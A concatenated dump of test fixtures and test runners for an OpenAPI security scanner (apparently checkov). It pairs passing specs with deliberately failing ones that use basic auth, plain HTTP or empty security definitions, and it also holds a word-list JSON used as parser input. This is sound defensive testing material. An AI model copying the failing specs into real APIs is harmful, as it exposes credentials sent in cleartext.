tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass.yaml ================================================ swagger: "2.0" info: title: test_pass version: 1.0.0 paths: "/": get: operationId: example summary: example schemes: - https responses: "200": description: 200 response ================================================ FILE: tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass2.yaml ================================================ swagger: "2.0" info: title: test_pass version: 1.0.0 paths: "/": "test" ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "some_auth": { "type": "basic" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: some_auth: type: basic ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "good_auth": { "type": "oauth2" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitionBasicAuth/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: good_auth: type: oauth2 ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/expected.yaml ================================================ pass: - "pass1.yaml" - "pass1.json" fail: - "fail1.json" - "fail1.yaml" - "fail2.json" - "fail2.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail1.json ================================================ { "swagger": "2.0", "info": { "title": "pass1 example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "pass1id", "summary": "pass1", "responses": { "200": { "description": "200 response" } } } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail1.yaml ================================================ swagger: "2.0" info: title: pass1 example version: 1.0.0 paths: "/": get: operationId: pass1id summary: pass1 responses: "200": description: 200 response ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail2.json ================================================ { "swagger": "2.0", "info": { "title": "pass1 example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "pass1id", "summary": "pass1", "responses": { "200": { "description": "200 response" } } } } }, "securityDefinitions": {} } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/fail2.yaml ================================================ swagger: "2.0" info: title: pass1 example version: 1.0.0 paths: "/": get: operationId: pass1id summary: pass1 responses: "200": description: 200 response securityDefinitions: {} ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/pass1.json ================================================ { "swagger": "2.0", "info": { "title": "pass1 example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "pass1id", "summary": "pass1", "responses": { "200": { "description": "200 response" } } } } }, "securityDefinitions": { "BasicAuth": { "type": "basic" }, "ApiKeyAuth": { "type": "apiKey", "name": "apiKey", "in": "header" }, "OAuth2": { "type": "oauth2", "flow": "implicit", "authorizationUrl": "https://swagger.io/api/oauth/dialog", "tokenUrl": "https://swagger.io/api/oauth/token", "scopes": { "read": "read", "write": "write" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityDefinitions/pass1.yaml ================================================ swagger: "2.0" info: title: pass1 example version: 1.0.0 paths: "/": get: operationId: pass1id summary: pass1 responses: "200": description: 200 response securityDefinitions: BasicAuth: type: basic ApiKeyAuth: type: apiKey in: header name: apiKey OAuth2: type: oauth2 flow: implicit authorizationUrl: https://swagger.io/api/oauth/dialog tokenUrl: https://swagger.io/api/oauth/token scopes: read: read write: write ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/expected.yaml ================================================ pass: - "pass1.yaml" - "pass1.json" - "pass2.yaml" - "pass2.json" - "pass3.json" fail: - "fail1.json" - "fail1.yaml" - "fail2.json" - "fail2.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/fail1.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "responses": { "200": { "description": "200 response" } }, "parameters": [ { "name": "limit2", "in": "body", "required": true, "schema": { "type": "object" } } ] } } }, "security": [ { "petstore_auth": [ "write:pets", "read:pets" ] } ], "securityDefinitions": { "api_key": { "type": "apiKey", "name": "api_key", "in": "header" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/fail1.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 paths: "/": get: operationId: example summary: example responses: "200": description: 200 response parameters: - name: limit2 in: body required: true schema: type: object security: - petstore_auth: - write:pets - read:pets securityDefinitions: api_key: type: apiKey name: api_key in: header ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/fail2.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "responses": { "200": { "description": "200 response" } }, "parameters": [ { "name": "limit2", "in": "body", "required": true, "schema": { "type": "object" } } ], "security": [ { "api_key": [] } ] } } }, "securityDefinitions": { "petstore_auth": { "type": "oauth2", "authorizationUrl": "http://swagger.io/api/oauth/dialog", "flow": "implicit", "scopes": { "write:pets": "write", "read:pets": "read" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/fail2.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 paths: "/": get: operationId: example summary: example responses: "200": description: 200 response parameters: - name: limit2 in: body required: true schema: type: object security: - api_key: [] securityDefinitions: petstore_auth: type: oauth2 authorizationUrl: http://swagger.io/api/oauth/dialog flow: implicit scopes: write:pets: write read:pets: read ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/pass1.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "responses": { "200": { "description": "200 response" } }, "parameters": [ { "name": "limit2", "in": "body", "required": true, "schema": { "type": "object" } } ] } } }, "security": [ { "petstore_auth": [ "write:pets", "read:pets" ] } ], "securityDefinitions": { "api_key": { "type": "apiKey", "name": "api_key", "in": "header" }, "petstore_auth": { "type": "oauth2", "authorizationUrl": "http://swagger.io/api/oauth/dialog", "flow": "implicit", "scopes": { "write:pets": "write", "read:pets": "read" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/pass1.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 paths: "/": get: operationId: example summary: example responses: "200": description: 200 response parameters: - name: limit2 in: body required: true schema: type: object security: - petstore_auth: - write:pets - read:pets securityDefinitions: api_key: type: apiKey name: api_key in: header petstore_auth: type: oauth2 authorizationUrl: http://swagger.io/api/oauth/dialog flow: implicit scopes: write:pets: write read:pets: read ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/pass2.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "responses": { "200": { "description": "200 response" } }, "parameters": [ { "name": "limit2", "in": "body", "required": true, "schema": { "type": "object" } } ], "security": [ { "api_key": [] } ] } } }, "securityDefinitions": { "api_key": { "type": "apiKey", "name": "api_key", "in": "header" }, "petstore_auth": { "type": "oauth2", "authorizationUrl": "http://swagger.io/api/oauth/dialog", "flow": "implicit", "scopes": { "write:pets": "write", "read:pets": "read" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/pass2.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 paths: "/": get: operationId: example summary: example responses: "200": description: 200 response parameters: - name: limit2 in: body required: true schema: type: object security: - api_key: [] securityDefinitions: api_key: type: apiKey name: api_key in: header petstore_auth: type: oauth2 authorizationUrl: http://swagger.io/api/oauth/dialog flow: implicit scopes: write:pets: write read:pets: read ================================================ FILE: tests/openapi/checks/resource/v2/example_SecurityRequirement/pass3.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": null }, "security": [ { "petstore_auth": [ "write:pets", "read:pets" ] } ], "securityDefinitions": { "api_key": { "type": "apiKey", "name": "api_key", "in": "header" }, "petstore_auth": { "type": "oauth2", "authorizationUrl": "http://swagger.io/api/oauth/dialog", "flow": "implicit", "scopes": { "write:pets": "write", "read:pets": "read" } } } } ================================================ FILE: tests/openapi/checks/resource/v3/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/fail.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "unencryptedScheme": { "type": "http", "scheme": "basic" } } }, "paths": { "/": { "get": { "security": [ { "unencryptedScheme": [] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/fail.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 components: securitySchemes: unencryptedScheme: type: http scheme: basic paths: "/": get: security: - unencryptedScheme: [] ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "encryptedScheme": { "type": "oauth2" } } }, "paths": { "/": { "get": { "security": [ { "encryptedScheme": [ "write", "read" ] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 components: securitySchemes: encryptedScheme: type: oauth2 paths: "/": get: security: - encryptedScheme: - write - read ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass2.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "unencryptedScheme": { "type": "oauth2" } } }, "paths": "/" } ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass2.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 components: securitySchemes: encryptedScheme: 'none' paths: "/": get: security: - encryptedScheme: - write - read ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass3.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "components": { "securitySchemes": { "bearerScheme": { "type": "http", "scheme": "bearer" } } }, "paths": { "/": { "get": { "security": [ { "bearerScheme": [] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v3/example_CleartextCredsOverUnencryptedChannel/pass3.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 components: securitySchemes: bearerScheme: type: http scheme: bearer paths: "/": get: security: - bearerScheme: [] ================================================ FILE: tests/openapi/checks/resource/v3/test_CleartextCredsOverUnencryptedChannel.py ================================================ import os import unittest from checkov.openapi.checks.resource.v3.CleartextOverUnencryptedChannel import check from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter class TestCleartextCredsOverUnencryptedChannel(unittest.TestCase): def test_summary(self): # given current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_CleartextCredsOverUnencryptedChannel" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/pass.yaml", "/pass.json", "/pass2.yaml", "/pass2.json", "/pass3.yaml", "/pass3.json", } failing_resources = { "/fail.yaml", "/fail.json", } passed_check_resources = {c.file_path for c in report.passed_checks} failed_check_resources = {c.file_path for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/checks/test_python_policies.py ================================================ from __future__ import annotations from pathlib import Path import pytest from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.graph.checks.test_yaml_policies_base import load_yaml_data BASE_DIR = Path(__file__).parent CHECK_ID_MAP: "dict[str, str]" = {} # will be filled via setup() def test_GlobalSchemeDefineHTTP(): run_check(base_path=BASE_DIR / "resource" / "v2", check="GlobalSchemeDefineHTTP") def test_GlobalSecurityScopeUndefined(): run_check(base_path=BASE_DIR / "resource" / "v2", check="GlobalSecurityScopeUndefined") def test_Oauth2OperationObjectPasswordFlow(): run_check(base_path=BASE_DIR / "resource" / "v2", check="Oauth2OperationObjectPasswordFlow") def test_Oauth2SecurityDefinitionImplicitFlow(): run_check(base_path=BASE_DIR / "resource" / "v2", check="Oauth2SecurityDefinitionImplicitFlow") def test_Oauth2SecurityDefinitionPasswordFlow(): run_check(base_path=BASE_DIR / "resource" / "v2", check="Oauth2SecurityDefinitionPasswordFlow") def test_Oauth2SecurityPasswordFlow(): run_check(base_path=BASE_DIR / "resource" / "v2", check="Oauth2SecurityPasswordFlow") def test_Oauth2SecurityRequirement(): run_check(base_path=BASE_DIR / "resource" / "v2", check="Oauth2SecurityRequirement") def test_OperationObjectBasicAuth(): run_check(base_path=BASE_DIR / "resource" / "v2", check="OperationObjectBasicAuth") def test_OperationObjectConsumesUndefined(): run_check(base_path=BASE_DIR / "resource" / "v2", check="OperationObjectConsumesUndefined") def test_OperationObjectImplicitFlow(): run_check(base_path=BASE_DIR / "resource" / "v2", check="OperationObjectImplicitFlow") def test_OperationObjectProducesUndefined(): run_check(base_path=BASE_DIR / "resource" / "v2", check="OperationObjectProducesUndefined") def test_OperationObjectSecurityScopeUndefined(): run_check(base_path=BASE_DIR / "resource" / "v2", check="OperationObjectSecurityScopeUndefined") def test_PathSchemeDefineHTTP(): run_check(base_path=BASE_DIR / "resource" / "v2", check="PathSchemeDefineHTTP") def test_SecurityDefinitionBasicAuth(): run_check(base_path=BASE_DIR / "resource" / "v2", check="SecurityDefinitionBasicAuth") def test_SecurityDefinitions(): run_check(base_path=BASE_DIR / "resource" / "v2", check="SecurityDefinitions") def test_SecurityRequirement(): run_check(base_path=BASE_DIR / "resource" / "v2", check="SecurityRequirement") @pytest.fixture(autouse=True) def setup(): global CHECK_ID_MAP runner = Runner() registry = runner.import_registry() CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()} def run_check(base_path: Path, check: str) -> None: # set path where to find test files test_dir_path = base_path / f'example_{check}' # setup GitHub configuration runner runner = Runner() # run actual check report = runner.run(runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check]), root_folder=str(test_dir_path)) # get actual results summary = report.get_summary() passed_checks = {check.file_path.lstrip("/") for check in report.passed_checks} failed_checks = {check.file_path.lstrip("/") for check in report.failed_checks} # get expected results expected = load_yaml_data(dir_path=test_dir_path, source_file_name="expected.yaml") # make sure it is a dict assert isinstance(expected, dict) expected_to_pass = expected.get("pass") or [] expected_to_fail = expected.get("fail") or [] # check, if results are correct assert summary["passed"] == len(expected_to_pass) assert summary["failed"] == len(expected_to_fail) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_checks == set(expected_to_pass) assert failed_checks == set(expected_to_fail) ================================================ FILE: tests/openapi/runner/__init__.py ================================================ ================================================ FILE: tests/openapi/runner/resources/runner_results/results.sarif ================================================ {"$schema":"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json","version":"2.1.0","runs":[{"results":[{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/swagger_empty_paths.yaml"},"region":{"startLine":2,"endLine":16}}}]},{"ruleId":"CKV_OPENAPI_1","ruleIndex":1,"level":"error","attachments":[],"message":{"text":"Ensure that securityDefinitions is defined and not empty - version 2.0 files"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/swagger_empty_paths.yaml"},"region":{"startLine":2,"endLine":16}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/example.yml"},"region":{"startLine":1,"endLine":13}}}]},{"ruleId":"CKV_OPENAPI_1","ruleIndex":1,"level":"error","attachments":[],"message":{"text":"Ensure that securityDefinitions is defined and not empty - version 2.0 files"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/example.yml"},"region":{"startLine":1,"endLine":13}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/example1.json"},"region":{"startLine":1,"endLine":39}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/example.json"},"region":{"startLine":1,"endLine":20}}}]},{"ruleId":"CKV_OPENAPI_1","ruleIndex":1,"level":"error","attachments":[],"message":{"text":"Ensure that securityDefinitions is defined and not empty - version 2.0 files"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v2/example.json"},"region":{"startLine":1,"endLine":1}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v3/example.yaml"},"region":{"startLine":1,"endLine":16}}}]},{"ruleId":"CKV_OPENAPI_3","ruleIndex":2,"level":"error","attachments":[],"message":{"text":"Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v3/example.yaml"},"region":{"startLine":8,"endLine":11}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v3/example1.json"},"region":{"startLine":1,"endLine":8}}}]},{"ruleId":"CKV_OPENAPI_4","ruleIndex":0,"level":"error","attachments":[],"message":{"text":"Ensure that the global security field has rules defined"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v3/example.json"},"region":{"startLine":1,"endLine":28}}}]},{"ruleId":"CKV_OPENAPI_3","ruleIndex":2,"level":"error","attachments":[],"message":{"text":"Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"v3/example1.yaml"},"region":{"startLine":10,"endLine":13}}}]}]}]} ================================================ FILE: tests/openapi/runner/resources/runner_results/unrealted_yaml.yaml ================================================ root: true env: es2021: true extends: - airbnb-base - eslint:recommended - plugin:@typescript-eslint/recommended - plugin:import/recommended - plugin:import/typescript - plugin:playwright/playwright-test parser: '@typescript-eslint/parser' parserOptions: ecmaVersion: latest sourceType: module plugins: - '@typescript-eslint' - 'eslint-plugin-tsdoc' rules: { 'no-console': 0, 'tsdoc/syntax': 'warn', 'import/extensions': 0, # Overwriting Airbnb-base settings for Typescript # Eslint confuses TypeScript Enums: https://github.com/typescript-eslint/typescript-eslint/issues/2466 'no-shadow': 'off', '@typescript-eslint/no-shadow': ['error'] } ================================================ FILE: tests/openapi/runner/resources/v2/example.json ================================================ { "swagger": "2.0", "info": { "title": "pass1 example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "pass1id", "summary": "pass1", "responses": { "200": { "description": "200 response" } } } } }, "securityDefinitions": {} } ================================================ FILE: tests/openapi/runner/resources/v2/example.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 paths: "/": get: operationId: example summary: example responses: "200": description: 200 response parameters: - name: limit2 in: body required: true schema: type: object security: - petstore_auth: - write:pets - read:pets securityDefinitions: api_key: type: apiKey name: api_key in: header ================================================ FILE: tests/openapi/runner/resources/v2/example.yml ================================================ swagger: "2.0" info: title: pass1 example version: 1.0.0 paths: "/": get: operationId: pass1id summary: pass1 responses: "200": description: 200 response ================================================ FILE: tests/openapi/runner/resources/v2/example1.json ================================================ { "swagger": "2.0", "info": { "title": "pass1 example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "pass1id", "summary": "pass1", "responses": { "200": { "description": "200 response" } } } } }, "securityDefinitions": { "BasicAuth": { "type": "basic" }, "ApiKeyAuth": { "type": "apiKey", "name": "apiKey", "in": "header" }, "OAuth2": { "type": "oauth2", "flow": "implicit", "authorizationUrl": "https://swagger.io/api/oauth/dialog", "tokenUrl": "https://swagger.io/api/oauth/token", "scopes": { "read": "read", "write": "write" } } } } ================================================ FILE: tests/openapi/runner/resources/v2/incompatible_json.json ================================================ { "faces brexit": 0, "formats": 1, "families nationwide": 2, "oxycodone": 3, "clearly heading": 4, "dream starting": 5, "amazon wholesaler": 6, "beard foundation": 7, "citi citing": 8, "regulated immigration": 9, "complicated mistress": 10, "network tweeted": 11, "driving smaller": 12, "sized christmas": 13, "mod": 14, "wasn swayed": 15, "article notes": 16, "stunt children": 17, "ecological footprint": 18, "checking account": 19, "cgi animated": 20, "rudy diamond": 21, "arizona midterms": 22, "potentially prevent": 23, "action memphis": 24, "thanks guys": 25, "waste paper": 26, "cover fuel": 27, "dissed": 28, "paid lobbyists": 29, "giant constant": 30, "best netflix": 31, "fang companies": 32, "business newsletter": 33, "trade zone": 34, "misrouted huawei": 35, "hill fast": 36, "expertise higher": 37, "big number": 38, "employees ecause": 39, "service appointments": 40, "scrutiny specifically": 41, "new coo": 42, "directing department": 43, "better grapple": 44, "yellow": 45, "grayson": 46, "customers anticipating": 47, "tactics relating": 48, "bonnaroo": 49, "ago cmtx": 50, "amazon nightmare": 51, "foto": 52, "accounting change": 53, "freshman house": 54, "wasn surprising": 55, "traister simon": 56, "nandita bose": 57, "seattle says": 58, "learn basic": 59, "mother day": 60, "humble structure": 61, "promotion tour": 62, "greg malouf": 63, "change chg": 64, "reported talk": 65, "current politics": 66, "ceasar": 67, "comms": 68, "dimensional": 69, "carrie sheffield": 70, "missouri abortion": 71, "vented": 72, "company headquartered": 73, "microbial stretchy": 74, "foxconn": 75, "lululemons": 76, "level consistent": 77, "cabinet maybe": 78, "function hidethumbnail": 79, "offering billion": 80, "2014 geekwire": 81, "story southerners": 82, "ecclestone rupert": 83, "mounting criticism": 84, "tariffs usually": 85, "apnewsnow apfn": 86, "biggest sales": 87, "1500 amazon": 88, "big philanthropy": 89, "backbone": 90, "sorry peter": 91, "hot sauces": 92, "york basically": 93, "theories": 94, "potential death": 95, "says blackstones": 96, "second coat": 97, "catch regulators": 98, "eye": 99, "gop controlled": 100, "airline militia": 101, "second major": 102, "right bezos": 103, "patents nearly": 104, "arabia html": 105, "separating communications": 106, "malito marketwatch": 107, "immigrants pic": 108, "div js": 109, "regulates work": 110, "oyinkan braithwaite": 111, "000 separations": 112, "cybersecurity experts": 113, "billions according": 114, "watching pirated": 115, "moving bookstores": 116, "calling sanders": 117, "plan minute": 118, "news general": 119, "government reported": 120, "release paperback": 121, "needs don": 122, "shipping powerball": 123, "large tax": 124, "truth alexa": 125, "euro financial": 126, "trump galls": 127, "mattis nearly": 128, "brexiteers": 129, "york banker": 130, "law abiding": 131, "priority medium": 132, "reportedly discussed": 133, "qualified property": 134, "836 9477": 135, "undergraduate degree": 136, "article appears": 137, "provokes": 138, "2019 amzn": 139, "james saaristo": 140, "governor thank": 141, "vector created": 142, "divest": 143, "original pop": 144, "amazon pay": 145, "niger delta": 146, "fake losses": 147, "suleiman ali": 148, "post asked": 149, "house ignored": 150, "fell 103": 151, "lede paragraph": 152, "amazon smile": 153, "prove potential": 154, "thank amazon": 155, "updated sales": 156, "targeting breitbart": 157, "bankrolling huge": 158, "stamina": 159, "places twitter": 160, "job did": 161, "secrecy agreement": 162, "decrease response": 163, "amazon device": 164, "including rep": 165, "amazon break": 166, "book sales": 167, "session lows": 168, "pursuing regulation": 169, "policy eu": 170, "ivan": 171, "2019 effective": 172, "improve diversity": 173, "site read": 174, "developer racked": 175, "187": 176, "threaded inquiry": 177, "newsweek trump": 178, "colorado says": 179, "smacks": 180, "latest soaring": 181, "paltrow": 182, "creates unsustainable": 183, "americans make": 184, "host colin": 185, "canceled follow": 186, "extraterrestrial colonies": 187, "victim search": 188, "650 650w": 189, "mccaul": 190, "classics lord": 191, "kushner saw": 192, "return john": 193, "energy water": 194, "house attempted": 195, "terrence": 196, "547 retail": 197, "testimony donald": 198, "america mega": 199, "including hearing": 200, "238 total": 201, "qaeda": 202, "brazil far": 203, "program clark": 204, "stories included": 205, "educated workforce": 206, "raedle joe": 207, "economy defies": 208, "war treasury": 209, "expose amazon": 210, "twitter bender": 211, "sanders form": 212, "baptist church": 213, "buy stylish": 214, "steel plant": 215, "solid boxing": 216, "drone footage": 217, "pretender right": 218, "flynn lied": 219, "watching thecoverage": 220, "duped patients": 221, "comment requests": 222, "bills expanded": 223, "regularly describes": 224, "steve ballmer": 225, "vegetarian": 226, "cronies": 227, "street sent": 228, "tech mergers": 229, "libertarian presidential": 230, "nafta trucking": 231, "recent crises": 232, "netflix cult": 233, "soon books": 234, "week amazon": 235, "companies reporting": 236, "welfare claim": 237, "visited american": 238, "far ahead": 239, "friend slansky": 240, "second cbre": 241, "order ordering": 242, "resolve patent": 243, "marsden james": 244, "laurel permanent": 245, "governors offices": 246, "avoids": 247, "punching bag": 248, "means beholden": 249, "computer equipment": 250, "characters awaken": 251, "boss chopra": 252, "usa today": 253, "tri": 254, "including surge": 255, "emergency seeking": 256, "remains fixed": 257, "politico headline": 258, "eu banking": 259, "impunity amazon": 260, "showdown set": 261, "local politician": 262, "column concerning": 263, "virginia leaders": 264, "extended hours": 265, "rounded square": 266, "rich polling": 267, "fox local": 268, "indirectly hurt": 269, "border despite": 270, "injury amazon": 271, "jinping winnie": 272, "otterbox": 273, "simply amazon": 274, "esplanade": 275, "unusual trends": 276, "trans people": 277, "directed hush": 278, "manhattan told": 279, "cream": 280, "depressing wrote": 281, "prequel": 282, "merkel": 283, "aldo": 284, "japan economy": 285, "child support": 286, "economy financed": 287, "families work": 288, "called meeting": 289, "mobile device": 290, "cited study": 291, "design amazon": 292, "creepy threats": 293, "isn parody": 294, "faux blond": 295, "significant subscriber": 296, "thanks amid": 297, "lowdown": 298, "public treasuries": 299, "home designed": 300, "stuart applebaum": 301, "2011 privacy": 302, "lawmakers say": 303, "bezos sees": 304, "gudiel told": 305, "dillon retired": 306, "stories published": 307, "begin collecting": 308, "eradicate rumored": 309, "texas newspaper": 310, "care act": 311, "bezos 160": 312, "nest egg": 313, "default voice": 314, "pin": 315, "mushroom": 316, "agreement regarding": 317, "kennedy retirement": 318, "accent": 319, "apec summit": 320, "shareholders shares": 321, "kay": 322, "month budget": 323, "chasing salacious": 324, "energy science": 325, "effectively needs": 326, "davis hamilton": 327, "maternity care": 328, "committing voter": 329, "immigration tale": 330, "television producer": 331, "void jens": 332, "commission build": 333, "us269 million": 334, "belts": 335, "seconds national": 336, "story tony": 337, "high drug": 338, "danablankenhorn": 339, "soon learns": 340, "began": 341, "spend little": 342, "hbo limited": 343, "hldgs plc": 344, "dol": 345, "profiling yasha": 346, "pressure mounting": 347, "transportation subjected": 348, "investment advice": 349, "roads": 350, "dared work": 351, "ordinary letters": 352, "financial crises": 353, "proprietary distribution": 354, "faced intense": 355, "website systems": 356, "black panther": 357, "ghoul": 358, "yields hopes": 359, "president trumps": 360, "interviewer george": 361, "company stocks": 362, "credit sen": 363, "ivana": 364, "conspiratorial merch": 365, "advocating socialist": 366, "republicans badly": 367, "archie comics": 368, "real wages": 369, "lunch areas": 370, "starry new": 371, "offer billions": 372, "trump clapper": 373, "stuff cities": 374, "inflammatory social": 375, "democratic senators": 376, "deterioration": 377, "police searching": 378, "tester": 379, "rumors head": 380, "doj considered": 381, "story things": 382, "100 renewable": 383, "political dialogue": 384, "neighbors lets": 385, "personal stories": 386, "feed attorney": 387, "jr aut_imgid": 388, "analysts forecasts": 389, "tempting target": 390, "russians russia": 391, "considering amzn": 392, "harnessed": 393, "hollywood mogul": 394, "carolinas florida": 395, "implications": 396, "latest skirmish": 397, "consider buying": 398, "google monopolies": 399, "newlyweds": 400, "including deutsche": 401, "perpetuity": 402, "prison time": 403, "automobile dashboards": 404, "hospital zurich": 405, "dollar penalty": 406, "photos migrant": 407, "begin transitioning": 408, "needs scrutiny": 409, "1987 novel": 410, "reuters trump": 411, "atlantic puts": 412, "ultimately leads": 413, "wrongly": 414, "todays news": 415, "twitter overall": 416, "lost money": 417, "caravans": 418, "congressed passed": 419, "service faces": 420, "1517et": 421, "currentvideoid nextplay": 422, "diploid cell": 423, "friend hates": 424, "usps deal": 425, "true videocollection": 426, "addresses supporters": 427, "eye popping": 428, "company saying": 429, "isliveplayer": 430, "realdonaldtrump pic": 431, "khosrowshahi did": 432, "worth 35b": 433, "york stock": 434, "selling live": 435, "deadline extensions": 436, "amazon choice": 437, "broke involved": 438, "insisted": 439, "analysis declared": 440, "boost latino": 441, "2015 forbes": 442, "taking prime": 443, "extra sympathy": 444, "resource extraction": 445, "bezos outed": 446, "heartbreaking note": 447, "424 000": 448, "products cnbc": 449, "scared victory": 450, "deals look": 451, "hotel conference": 452, "reconsideration": 453, "embarrassed": 454, "591": 455, "spring repeatedly": 456, "bought 665": 457, "security justice": 458, "carrier route": 459, "folklore hbo": 460, "accomplish": 461, "emotion gender": 462, "syllabus": 463, "monopolies gain": 464, "learn": 465, "hour shifts": 466, "growing tech": 467, "bezos spent": 468, "hit losing": 469, "billionaire ceo": 470, "helped make": 471, "road deputies": 472, "way regulators": 